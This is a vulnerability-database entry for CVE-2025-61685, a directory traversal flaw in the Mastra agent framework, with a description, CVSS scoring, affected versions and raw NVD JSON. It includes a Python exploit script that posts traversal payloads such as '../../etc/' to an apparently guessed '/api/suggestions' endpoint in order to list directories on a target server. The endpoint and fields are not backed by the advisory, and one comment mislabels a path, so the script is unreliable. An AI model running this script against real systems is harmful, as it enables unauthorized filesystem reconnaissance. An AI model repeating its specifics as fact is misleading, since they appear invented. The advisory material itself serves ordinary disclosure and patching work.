Security Vulnerability Report
中文
CVE-2025-61685 CVSS 6.5 MEDIUM

CVE-2025-61685

Published: 2025-10-03 23:15:30
Last Modified: 2026-04-15 00:35:42

Description

Mastra is a Typescript framework for building AI agents and assistants. Versions 0.13.8 through 0.13.20-alpha.0 are vulnerable to a Directory Traversal attack that results in the disclosure of directory listings. The code contains a security check to prevent path traversal for reading file contents, but this check is effectively bypassed by subsequent logic that attempts to find directory suggestions. An attacker can leverage this flaw to list the contents of arbitrary directories on the user's filesystem, including the user's home directory, exposing sensitive information about the file system's structure. This issue is fixed in version 0.13.20.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Mastra >= 0.13.8
Mastra < 0.13.20
Mastra 0.13.20-alpha.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61685 PoC - Mastra Directory Traversal # Vulnerability: Directory Traversal via directory suggestions bypass import requests # Target configuration TARGET_URL = "http://target-mastra-instance:4111" API_ENDPOINT = "/api/suggestions" # Directory suggestions endpoint # Authentication credentials (low privilege required) AUTH_TOKEN = "your_low_privilege_token" def exploit_directory_traversal(target_path): """ Exploit directory traversal to list arbitrary directory contents. The security check is bypassed in the directory suggestions logic. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Craft payload with path traversal sequences payload = { "path": target_path, # e.g., "../../../etc/" or "~/" "type": "directory_suggestion" } response = requests.post( f"{TARGET_URL}{API_ENDPOINT}", json=payload, headers=headers ) if response.status_code == 200: data = response.json() print(f"[+] Directory listing for: {target_path}") for item in data.get("suggestions", []): print(f" - {item['name']} ({item.get('type', 'unknown')})") return data else: print(f"[-] Request failed with status: {response.status_code}") return None # Example usage if __name__ == "__main__": # List user's home directory exploit_directory_traversal("../../../") # List /etc directory exploit_directory_traversal("../../etc/") # List application configuration directory exploit_directory_traversal("../../app/config/")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61685", "sourceIdentifier": "[email protected]", "published": "2025-10-03T23:15:29.870", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mastra is a Typescript framework for building AI agents and assistants. Versions 0.13.8 through 0.13.20-alpha.0 are vulnerable to a Directory Traversal attack that results in the disclosure of directory listings. The code contains a security check to prevent path traversal for reading file contents, but this check is effectively bypassed by subsequent logic that attempts to find directory suggestions. An attacker can leverage this flaw to list the contents of arbitrary directories on the user's filesystem, including the user's home directory, exposing sensitive information about the file system's structure. This issue is fixed in version 0.13.20."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-548"}]}], "references": [{"url": "https://github.com/mastra-ai/mastra/commit/7f2b528ba82db512d68832d2f8ad6cbc8bb46cd4", "source": "[email protected]"}, {"url": "https://github.com/mastra-ai/mastra/security/advisories/GHSA-xh92-rqrq-227v", "source": "[email protected]"}]}}